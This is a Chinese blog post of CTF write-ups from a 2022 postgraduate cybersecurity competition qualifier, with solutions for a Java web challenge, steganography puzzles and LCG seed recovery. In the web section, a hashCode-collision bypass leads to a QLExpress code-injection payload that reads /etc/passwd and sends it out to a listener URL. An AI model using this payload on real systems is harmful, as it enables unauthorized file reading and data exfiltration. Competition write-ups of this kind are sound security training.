2022 中国研究生网络安全创新大赛 线上预选赛 部分题解

发表于 分类于 阅读次数：

没有网络的网络安全大赛。

Web

BabyQL

给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.ctf.web.ql.controller;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import java.util.Map;
import java.util.regex.Pattern;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: BabyQL.jar:BOOT-INF/classes/com/ctf/web/ql/controller/AppController.class */
public class AppController {
    @RequestMapping({"/"})
    public String index() {
        return "Welcome :)";
    }

    @RequestMapping({"/exp"})
    public String exp(@RequestBody Map params) throws Exception {
        String x = params.get("x").toString();
        if (x.hashCode() != "guanzhujiarandundunjiechan".hashCode() || x.equals("guanzhujiarandundunjiechan")) {
            return "guanzhujiarandundunjiechan";
        }
        String cmd = params.get("cmd").toString();
        Pattern pattern = Pattern.compile("process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load", 2);
        if (pattern.matcher(cmd).find()) {
            return "nonono";
        }
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<>();
        runner.execute(cmd, context, null, true, false);
        return "hack me";
    }
}

根据源码爆破hashCode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class test {
    public static void main(String[] args) throws Exception {

        String secret = "guanzhujiarandundunjiechan";
        int hash = secret.hashCode();
        String dic = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
        for (char i : dic.toCharArray()) {
            for (char j : dic.toCharArray()) {
                String tmp = "" + i + j + secret.substring(2);
                if (tmp.hashCode() == hash) {
                    System.out.println(tmp);
                }
            }
        }
    }
}

没网，不知道为啥反射不了，打的代码执行，读文件然后请求回带。

1
2
3
POST /exp

{"x":"i7anzhujiarandundunjiechan","cmd":"java.util.Scanner scanner = new java.util.Scanner(new java.io.File(\"/etc/passwd\"));scanner.nextLine();java.net.URL url = new java.net.URL(\"http://127.0.0.1:2333/\");java.net.HttpURLConnection httpURLConnection =(java.net.HttpURLConnection) url.openConnection();httpURLConnection.setRequestProperty(\"Content-Type\", scanner.nextLine());httpURLConnection.getInputStream();"}

Misc

misc_奇怪的E

零宽编码解密得到压缩包密码Cetacean。

发现文本里只有E和e，而且是8的倍数，尝试转换为0和1，然后转字符串。

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import long_to_bytes

original = "EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeeeEEEEEEEEEeeeeEeeEEEEEEEEEeEEEEeeEEEEEEEEEeeEEeEeEEEEEEEEEeeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEEeeEEEEEEEEEEeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEeeeEEEEEEEEEEeEeeeeeEEEEEEEEEeEEEEeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEEEEEEEEEEEEeeEeEEEEEEEEEEEEeeEEeEeEEEEEEEEEeeeEEeEEEEEEEEEEeEeeeeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEeeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEEEeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEeeeeEEEEEEEEEeeEEeEEEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeEeEEEEEEEEEeEEeeeEEEEEEEEEEeeEEEeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEEeEEEEEEEEEEEeeEEeEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEeeeeeEe"
res = ""
for i in original:
    if i == 'E':
        res += '0'
    if i == 'e':
        res += '1'
print(long_to_bytes(int("0b" + res, 2)).decode().replace("\x00", ""))
# flag{Cetac4an_C1pher_1s_a_g0od_eNc0de!!!!}

misc_Bit_QR

修一下二维码的定位，扫到了457c。

然后藏了个没头的PNG。

1

补齐后扫到flag{fcc73648-a3dd-????-8b，猜测????是填上457c，还差后半段。

2

还有第二块IDAT。

3

解一下zlib。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import zlib

data = """78 9C 0D C8 41 11 00 31 08 03 40 4B 90 A4 94 93
73 03 F5 6F 01 1E FB 59 C1 42 71 D0 14 9D 27 16
B1 B8 0B 1A F3 B6 BD F2 BC 05 7C A5 D6 2F 0D 2C
65 0C 02 00 00 00 00 49 45 4E 44 AE 42 60 82 4E
47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 01
90 00 00 01 90 08 02 00 00 00 0F DD A1 9B 00 00
08 C6 49 44 41 54 78 9C ED DD CB 72 1B 39 10 00
41 72 C3 FF FF CB DE A3 6F 04 23 20 3C 6A 94 79
5E 4B 20 45 56 E0 30 BD FD FE FB F7 EF 0B A0 E0
BF D3 07 00 F8 96 60 01 19 82 05 64 08 16 90 21
58 40 86 60 01 19 82 05 64 08 16 90 21 58 40 86
60 01 19 82 05 64 08 16 90 21 58 40 86 60 01 19
82 05 64 08 16 90 21 58 40 86 60 01 19 82 05 64
08 16 90 F1 67 F2 DF BF DF EF 1F 39 C7 CD 86 7B
3A 3E BF 09 F3 6B 3E E6 DF E4 D5 AB 46 36 9C F0
F1 6F B2 AF D2 37 DC B0 80 0C C1 02 32 04 0B C8
10 2C 20 43 B0 80 0C C1 02 32 04 0B C8 10 2C 20
43 B0 80 0C C1 02 32 66 47 73 86 56 0F 85 CC 5B
3D 93 71 7C E6 63 78 86 F9 9F BF 61 32 66 F2 4D
1E 9E 70 72 36 68 83 DF F0 55 1A 72 C3 02 32 04
0B C8 10 2C 20 43 B0 80 0C C1 02 32 04 0B C8 10
2C 20 43 B0 80 0C C1 02 32 04 0B C8 58 3E 9A 33
B4 FA 71 FE FB 07 1A 86 36 CC 9D 4C 1E 60 E8 01
93 31 F7 FB 0D 5F 25 37 2C 20 43 B0 80 0C C1 02
32 04 0B C8 10 2C 20 43 B0 80 0C C1 02 32 04 0B
C8 10 2C 20 43 B0 80 8C F3 A3 39 0F 30 B9 93 66
7E F2 66 68 F2 84 C7 97 E2 0C 3D E0 4D E6 1B 6E
58 40 86 60 01 19 82 05 64 08 16 90 21 58 40 86
60 01 19 82 05 64 08 16 90 21 58 40 86 27 DD 7F
C0 E7 87 98 8F 3F 63 FD 23 BF 62 B5 C9 05 0A 1B
56 54 58 93 71 03 37 2C 20 43 B0 80 0C C1 02 32
04 0B C8 10 2C 20 43 B0 80 0C C1 02 32 04 0B C8
10 2C 20 43 B0 80 8C F3 A3 39 F7 4F 8D 3C DE 86
C9 9E 1B 96 44 4C 1E E0 7E BF E1 AB E4 86 05 64
08 16 90 21 58 40 86 60 01 19 82 05 64 08 16 90
21 58 40 86 60 01 19 82 05 64 08 16 90 B1 7C 34
E7 01 13 0F 43 9F 5F E3 FD 53 29 F3 8E BF 84 C4
74 D1 A4 DF F0 55 1A 72 C3 02 32 04 0B C8 10 2C
20 43 B0 80 0C C1 02 32 04 0B C8 10 2C 20 43 B0
80 0C C1 02 32 04 0B C8 78 DF 3F F6 51 37 3F 35
B2 7A 26 63 C3 01 E6 3F 66 93 F3 4F 93 3F FF 1B
BE 4A 1B B8 61 01 19 82 05 64 08 16 90 21 58 40
86 60 01 19 82 05 64 08 16 90 21 58 40 86 60 01
19 82 05 64 9C 1F CD 99 9C 5C D9 B0 4A 64 72 72
E5 F8 3B 3C EF F8 52 9C 6F CE F0 99 13 BE 2E 18
6F 9A FF 15 6E 58 40 86 60 01 19 82 05 64 08 16
90 21 58 40 86 60 01 19 82 05 64 08 16 90 21 58
40 C6 9F D5 BF 60 F5 0A 86 F9 05 0A AB 7F C2 86
ED 06 C7 9F 44 3F BE 68 E3 F8 63 E2 1B 7E FE FD
7F C4 0D DC B0 80 0C C1 02 32 04 0B C8 10 2C 20
43 B0 80 0C C1 02 32 04 0B C8 10 2C 20 43 B0 80
0C C1 02 32 66 47 73 E6 E7 15 36 6C 91 98 3C C0
EA 89 84 F9 9F BF 7A BC 69 7E B0 E6 F8 EC CE 86
BF F2 E4 4F 98 7F 0F 7F 03 37 2C 20 43 B0 80 0C
C1 02 32 04 0B C8 10 2C 20 43 B0 80 0C C1 02 32
04 0B C8 10 2C 20 43 B0 80 8C F7 EA 79 82 07 AC
FA 58 FD 2B 36 AC D5 39 EE F8 7B F8 80 B5 3A 43
F7 2F A0 9A E7 86 05 64 08 16 90 21 58 40 86 60
01 19 82 05 64 08 16 90 21 58 40 86 60 01 19 82
05 64 08 16 90 31 BB 35 67 F5 B2 93 0D 56 2F FE
39 BE 14 E7 47 CE 30 E9 01 2F E1 F8 27 F9 FE C5
42 1B FE 88 6E 58 40 86 60 01 19 82 05 64 08 16
90 21 58 40 86 60 01 19 82 05 64 08 16 90 21 58
40 86 60 01 19 B3 A3 39 1B E6 15 8E EF 53 59 3D
70 70 7C A1 CB 86 C5 42 43 F7 CF 9D 0C 7D FE 09
F7 CF 1E 0D 1D 1F 4E 7A B9 61 01 21 82 05 64 08
16 90 21 58 40 86 60 01 19 82 05 64 08 16 90 21
58 40 86 60 01 19 EF D5 CF D7 AE 7E C0 77 C3 83
EC AB 1D 7F D2 7D E8 86 13 AE FE 9C 0C 1D FF A0
AE 76 FF D4 CA CB 0D 0B 08 11 2C 20 43 B0 80 0C
C1 02 32 04 0B C8 10 2C 20 43 B0 80 0C C1 02 32
04 0B C8 10 2C 20 63 F9 68 CE F8 04 D7 8F 2C 4C
BA 61 41 C3 F1 FD 08 AB 27 A8 1E 30 80 65 C8 EC
1B 6E 58 40 86 60 01 19 82 05 64 08 16 90 21 58
40 86 60 01 19 82 05 64 08 16 90 21 58 40 86 60
01 19 7F 4E 1F 60 D6 0D AB 3E 8E 4F 8D DC 7F C2
79 AB C7 3E 56 8F 1F DD 30 82 76 7C 42 6B 9E 1B
16 90 21 58 40 86 60 01 19 82 05 64 08 16 90 21
58 40 86 60 01 19 82 05 64 08 16 90 21 58 40 C6
EC D6 9C E3 0B 57 36 2C 23 19 3A 3E F8 B2 FA 8F
B8 FA 00 DF 98 7C 93 37 98 7C 1B 6F 78 09 F7 73
C3 02 32 04 0B C8 10 2C 20 43 B0 80 0C C1 02 32
04 0B C8 10 2C 20 43 B0 80 0C C1 02 32 04 0B C8
98 1D CD F9 81 13 2C DE C8 72 C3 EC CE E4 01 86
56 4F FF DC F0 1E 3E E0 25 4C 1E 60 E8 FE EF F2
FC 09 DD B0 80 0C C1 02 32 04 0B C8 10 2C 20 43
B0 80 0C C1 02 32 04 0B C8 10 2C 20 43 B0 80 0C
C1 02 32 CE 8F E6 0C 59 46 B2 7A 68 63 F5 74 D4
F0 00 1B 1C 9F BC 99 77 7C 76 E7 F8 01 5E 6E 58
40 88 60 01 19 82 05 64 08 16 90 21 58 40 86 60
01 19 82 05 64 08 16 90 21 58 40 C6 F2 27 DD EF
7F C2 F8 F8 09 37 3C 68 FE D9 EA 1D 16 1B 7E C5
86 4F D1 E3 B7 60 0C DD 70 42 37 2C 20 43 B0 80
0C C1 02 32 04 0B C8 10 2C 20 43 B0 80 0C C1 02
32 04 0B C8 10 2C 20 43 B0 80 8C F3 4B 28 6E 78
DE 7F A9 1B 5E E0 E7 33 6C 18 CD 19 BA 7F 76 E7
FE 03 4C BE 87 89 2F 9A 1B 16 90 21 58 40 86 60
01 19 82 05 64 08 16 90 21 58 40 86 60 01 19 82
05 64 08 16 90 21 58 40 C6 EC 68 CE EA 71 81 A1
1B C6 4A 3E 3B 3E 14 32 3C C3 0D C3 43 AB 1D FF
18 CC BB E1 83 F4 99 AD 39 00 FF 08 16 90 21 58
40 86 60 01 19 82 05 64 08 16 90 21 58 40 86 60
01 19 82 05 64 08 16 90 F1 67 F2 DF CF 4F C6 AC
9E 0D 1A 5A FD 12 E6 DF 81 F9 13 1E 1F 4C 79 C0
50 C8 EA 9D 34 F3 6F D1 E3 A7 DC 5E 6E 58 40 88
60 01 19 82 05 64 08 16 90 21 58 40 86 60 01 19
82 05 64 08 16 90 21 58 40 86 60 01 19 B3 A3 39
1B 16 AE AC 9E 78 B8 61 E0 60 D2 F1 A1 8A E3 1F
83 A1 E3 07 38 3E 79 F3 0C 6E 58 40 86 60 01 19
82 05 64 08 16 90 21 58 40 86 60 01 19 82 05 64
08 16 90 21 58 40 C6 7B C3 FF BD FF F1 26 9F C5
DF 60 F5 B4 C0 F1 47 ED EF 7F 09 1B 3E 06 F7 3F
0A 3F FF 26 B8 61 01 19 82 05 64 08 16 90 21 58
40 86 60 01 19 82 05 64 08 16 90 21 58 40 86 60
01 19 82 05 64 2C 5F 42 F1 00 C3 79 82 CF FF C1
FD 0B 1A 86 36 0C BE 0C 7D FE 15 1B 26 6F 56 CF
EE 6C 78 0F 27 1D 1F C0 7A B9 61 01 21 82 05 64
08 16 90 21 58 40 86 60 01 19 82 05 64 08 16 90
21 58 40 86 60 01 19 82 05 64 CC 8E E6 0C 1D 9F
27 18 9A 9F 27 58 BD 35 E7 F8 FC D3 F1 B1 95 A1
E3 07 98 77 FC 9B 72 FC 00 DF 70 C3 02 32 04 0B
C8 10 2C 20 43 B0 80 0C C1 02 32 04 0B C8 10 2C
20 43 B0 80 0C C1 02 32 04 0B C8 58 3E 9A 33 74
7C 68 E3 7E AB 37 BE DC BF AF 65 68 C3 F0 D0 EA
A5 38 1B 3C E0 63 E0 86 05 64 08 16 90 21 58 40
86 60 01 19 82 05 64 08 16 90 21 58 40 86 60 01
19 82 05 64 08 16 90 71 7E 34 E7 01 56 8F 2C AC
9E 99 B8 61 E5 CC E4 4B 58 3D 58 F3 9A 7E 97 6E
58 9E 34 79 C2 1B 66 77 DC B0 80 0C C1 02 32 04
0B C8 10 2C 20 43 B0 80 0C C1 02 32 04 0B C8 10
2C 20 43 B0 80 0C 4F BA FF 80 FB 1F 20 3E BE E9
E3 F8 01 86 E6 9F 95 BF 7F C5 C3 EA 13 6E 78 8D
6E 58 40 86 60 01 19 82 05 64 08 16 90 21 58 40
86 60 01 19 82 05 64 08 16 90 21 58 40 86 60 01
19 E7 47 73 36 4C 24 AC 76 FC 25 6C 58 12 31 79
80 1B A6 3A CE 3A 3E 79 F3 2A CC 90 0D B9 61 01
19 82 05 64 08 16 90 21 58 40 86 60 01 19 82 05
64 08 16 90 21 58 40 86 60 01 19 82 05 64 2C 1F
CD 39 3E 35 72 DC 86 B1 95 49 1B 26 2A 7E C3 C7
60 72 F0 65 83 C9 AD 39 43 B6 E6 00 FC 23 58 40
86 60 01 19 82 05 64 08 16 90 21 58 40 86 60 01
19 82 05 64 08 16 90 21 58 40 C6 FB 86 89 01 80
6F B8 61 01 19 82 05 64 08 16 90 21 58 40 86 60
01 19 82 05 64 08 16 90 21 58 40 86 60 01 19 82
05 64 08 16 90 21 58 40 86 60 01 19 82 05 64 08
16 90 21 58 40 86 60 01 19 82 05 64 08 16 90 21
58 40 86 60 01 19 FF 03 A4 B3 15 4F 1E 33 22 26
00 00 00 00 49 45 4E 44 AE 42 60 82"""
data = data.replace(" ", "").replace("\n", "").strip()
data_dec = zlib.decompress(bytes.fromhex(data))
print(bytes.fromhex(data_dec[1:-1].decode()))

# b' de-415a5253db08}\x0e\xc1\x87\xc2)\xc4\xd4\xa4'

# flag{fcc73648-a3dd-457c-8bde-415a5253db08}

Crypto

crypto_rand(seed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import os
import hashlib
from string import ascii_letters
from Crypto.Util.number import *
from Crypto.Random.random import randrange, getrandbits, choice


class LCG(object):
    def __init__(self, seed):
        self.N = getPrime(256)
        self.a = randrange(self.N)
        self.b = randrange(self.N)
        self.seed = seed % self.N
        self.state = self.seed

    def next(self):
        self.state = (self.a * self.state + self.b) % self.N
        return self.state

def challenge1():
    print("This is the challenge1,you need solve 50 times")
    init_seed = getrandbits(256)
    lcg = LCG(init_seed)
    print("a="+str(lcg.a))
    print("b="+str(lcg.b))
    print("N="+str(lcg.N))
    print("num1="+str(lcg.next()))
    seed1 = int(input("seed = "))
    if seed1 != lcg.seed:
        print("worry")
        exit(0)
    print("success!")

def challenge2():
    print("This is the challenge2,you need solve 30 times")
    init_seed = getrandbits(256)
    lcg = LCG(init_seed)
    print("a="+str(lcg.a))
    print("N="+str(lcg.N))
    print("num1="+str(lcg.next()))
    print("num2="+str(lcg.next()))
    seed1 = int(input("seed = "))
    if seed1 != lcg.seed:
        print("worry")
        exit(0)
    print("success!")

def challenge3():
    print("This is the challenge3,you need solve 20 times")
    init_seed = getrandbits(256)
    lcg = LCG(init_seed)
    print("N="+str(lcg.N))
    print("num1="+str(lcg.next()))
    print("num2="+str(lcg.next()))
    print("num3="+str(lcg.next()))
    seed1 = int(input("seed = "))
    if seed1 != lcg.seed:
        print("worry")
        exit(0)
    print("success!")

def challenge4():
    print("This is the challenge4")
    init_seed = getrandbits(256)
    lcg = LCG(init_seed)
    print("num1="+str(lcg.next()))
    print("num2="+str(lcg.next()))
    print("num3="+str(lcg.next()))
    print("num4="+str(lcg.next()))
    print("num5="+str(lcg.next()))
    print("num6="+str(lcg.next()))
    seed1 = int(input("seed = "))
    if seed1 != lcg.seed:
        print("worry")
        exit(0)
    print("success!")

def readstruct():
    print("give you code")
    fp = open("struct")
    print(fp.read())
    fp.close()

def readflag():
    fp = open("flag")
    print(fp.read())
    fp.close()

readstruct()
for i in range(50):
    challenge1()
for i in range(30):
    challenge2()
for i in range(20):
    challenge3()
challenge4()

readflag()

challenge1

给定\(a, b, N, num1\)。

由于\(b<N\)，所以\(num1= a * seed % N + b mod N\)。

逆一下得到\(seed = (num1 - b) * invert(a, N) % N\)。

1
2
3
4
5
6
7
8
from gmpy2 import invert

a = 21439995148715855229581313939963482421201576331247112965113607451853558218636
b = 89759277160476389253551333634559768530087358279888366217118321151632851069307
N = 94263478176301823003864419448505855238729828567096091430628632016028605616699
num1 = 93437456039578930967563044293380038273869610383390068845902343882495695897529
seed = (num1 - b) * invert(a, N) % N
print(seed)

challenge2

给定\(a, N, num1, num2\)，可以把\(b\)消除然后求逆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from gmpy2 import invert

a = 16706977725145456108673810243466500040943912361324878692827034267351992747974
N = 113854020832618498739784394611075999932916312378403736582581526579101900578203
num1 = 63330820190126996484305779686457877475288865566311745562987677512497606130845
num2 = 84119406639888798757299912342423831065813108934246920044829949373419237576843
# a*seed%N
# num1 = a * seed % N + b mod N
# num2 = a * num1 % N + b mod N
#
# (num1 - b) = a * seed mod N
# (num2 - b) = a * num1 mod N
#
# num2 - num1 = a * (num1 - seed) mod N
seed = (num1 - (num2 - num1) * invert(a, N)) % N
print(seed)

challenge3

给定\(N, num1, num2, num3\)，可以先求出\(a\)，然后计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from gmpy2 import invert

N = 75077128282729911345908688147049908784831830731419100581244930247044506196477
num1 = 65940473528726946477803054867754232378739884960304521637067282030349621449921
num2 = 27044754132512365884748896937170627667054459331766150743556228598626640534200
num3 = 60958613597574702621084920297199479965887036967057208603596448710717503362927
# num1 = a * seed % N + b mod N
# num2 = a * num1 % N + b mod N
# num3 = a * num2 % N + b mod N

# num1 - b = a * seed mod N
# num2 - b = a * num1 mod N
# num3 - b = a * num2 mod N
# num2 - num1 = a * (num1 - seed) mod N
# num3 - num2 = a * (num2 - num1) mod N
a = (num3 - num2) * invert(num2 - num1, N) % N
seed = (num1 - (num2 - num1) * invert(a, N)) % N
print(seed)

challenge4

给了\(num1-6\)，没给出\(n\)，推导发现可以可以得到\(t5 * t5 - t6* t4 = (a*a*t4*t4 - a*a*t4*t4) mod N = 0 mod N\)。

然后可以发现这个值是\(N\)的倍数，多来几组就可以求\(gcd\)可能是\(N\)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# state = a * seed % N + b mod N
from gmpy2 import invert, gcd

# a=21439995148715855229581313939963482421201576331247112965113607451853558218636
# b=89759277160476389253551333634559768530087358279888366217118321151632851069307
# N=94263478176301823003864419448505855238729828567096091430628632016028605616699
# num1=93437456039578930967563044293380038273869610383390068845902343882495695897529
# seed = (num1 - b) * invert(a, N) % N
# print(seed)
# print(str(seed).encode())
# 
# 
# a=16706977725145456108673810243466500040943912361324878692827034267351992747974
# N=113854020832618498739784394611075999932916312378403736582581526579101900578203
# num1=63330820190126996484305779686457877475288865566311745562987677512497606130845
# num2=84119406639888798757299912342423831065813108934246920044829949373419237576843
# num1 = a * seed % N + b mod N
# num2 = a * num1 % N + b mod N

# (num1 - b) = a * seed mod N 
# (num2 - b) = a * num1 mod N 

# num2 - num1 = a * (num1 - seed) mod N
# seed = (num1 - (num2-num1) * invert(a, N)) % N
# print(seed)


# N=75077128282729911345908688147049908784831830731419100581244930247044506196477
# num1=65940473528726946477803054867754232378739884960304521637067282030349621449921
# num2=27044754132512365884748896937170627667054459331766150743556228598626640534200
# num3=60958613597574702621084920297199479965887036967057208603596448710717503362927
# num1 = a * seed % N + b mod N
# num2 = a * num1 % N + b mod N
# num3 = a * num2 % N + b mod N

# num1 - b = a * seed mod N
# num2 - b = a * num1 mod N
# num3 - b = a * num2 mod N
# num2 - num1 = a * (num1 - seed) mod N
# num3 - num2 = a * (num2 - num1) mod N
# a = (num3 - num2) * invert(num2 - num1, N) % N
# seed = (num1 - (num2 - num1) * invert(a, N)) % N
# print(seed)

num1 = 18130822956452391991955329698533874329587224661240216580076844046347888170896
num2 = 40689348136688527650286917072116617946360334296435621222913550590709120711790
num3 = 9024218577699321126393149839649183482718782671341152454962950979591052427336
num4 = 50380931324746679713270700564952245173255615647824411192603253345164761384621
num5 = 12990849833536354231958759537534231189033734453933764867420622046266758809753
num6 = 3319681046644313401014467521203728557012218039251416119690694719681592633926  # num1 = a * seed % N + b mod N
# num2 = a * num1 % N + b mod N
# num3 = a * num2 % N + b mod N
# num4 = a * num3 % N + b mod N
# num5 = a * num4 % N + b mod N
# num6 = a * num5 % N + b mod N

# num1 - b = a * seed mod N
# num2 - b = a * num1 mod N
# num3 - b = a * num2 mod N
# num4 - b = a * num3 mod N
# num5 - b = a * num4 mod N
# num6 - b = a * num5 mod N

# num6 - num5 = a * (num5 - num4) mod N
# num5 - num4 = a * (num4 - num3) mod N
# num4 - num3 = a * (num3 - num2) mod N
# num3 - num2 = a * (num2 - num1) mod N
# num2 - num1 = a * (num1 - seed) mod N

# t6 = a * t5 mod N
# t5 = a * t4 mod N
# t4 = a * t3 mod N
# t3 = a * t2 mod N
# t2 = a * t1 mod N

# t6 * t4 = a * a * t5 * t3 mod N
# t5 * t5 = a * a * t4 * t4 mod N

# t5 * t5 - t6* t4 = (a*a*t4*t4 - a*a*t4*t4) mod N = 0 mod N
t6 = num6 - num5
t5 = num5 - num4
t4 = num4 - num3
t3 = num3 - num2
t2 = num2 - num1
g1 = gcd(t6 * t4 - t5 * t5, t5 * t3 - t4 * t4)
g2 = gcd(t5 * t3 - t4 * t4, t4 * t2 - t3 * t3)
print(g1, g2)
print(gcd(g1, g2))
N = g2
a = (num3 - num2) * invert(num2 - num1, N) % N
seed = (num1 - (num2 - num1) * invert(a, N)) % N
print(seed)

from pwn import *


def pwn():
    context.log_level = "debug"
    io = remote("192.168.1.105", 19999)
    for i in range(50):
        io.recvuntil(b"This is the challenge1,you need solve 50 times\n")
        io.recvuntil(b"a=")
        a = int(io.recvline().strip().decode())
        io.recvuntil(b"b=")
        b = int(io.recvline().strip().decode())
        io.recvuntil(b"N=")
        N = int(io.recvline().strip().decode())
        io.recvuntil(b"num1=")
        num1 = int(io.recvline().strip().decode())
        io.recvuntil(b"seed = ")
        seed = (num1 - b) * invert(a, N) % N
        io.sendline(str(seed).encode())

    for i in range(30):
        io.recvuntil(b"This is the challenge2,you need solve 30 times\n")
        io.recvuntil(b"a=")
        a = int(io.recvline().strip().decode())
        io.recvuntil(b"N=")
        N = int(io.recvline().strip().decode())
        io.recvuntil(b"num1=")
        num1 = int(io.recvline().strip().decode())
        io.recvuntil(b"num2=")
        num2 = int(io.recvline().strip().decode())
        io.recvuntil(b"seed = ")
        seed = (num1 - (num2 - num1) * invert(a, N)) % N
        io.sendline(str(seed).encode())

    for i in range(20):
        io.recvuntil(b"This is the challenge3,you need solve 20 times\n")
        io.recvuntil(b"N=")
        N = int(io.recvline().strip().decode())
        io.recvuntil(b"num1=")
        num1 = int(io.recvline().strip().decode())
        io.recvuntil(b"num2=")
        num2 = int(io.recvline().strip().decode())
        io.recvuntil(b"num3=")
        num3 = int(io.recvline().strip().decode())
        io.recvuntil(b"seed = ")
        a = (num3 - num2) * invert(num2 - num1, N) % N
        seed = (num1 - (num2 - num1) * invert(a, N)) % N
        io.sendline(str(seed).encode())
    io.interactive()
# pwn()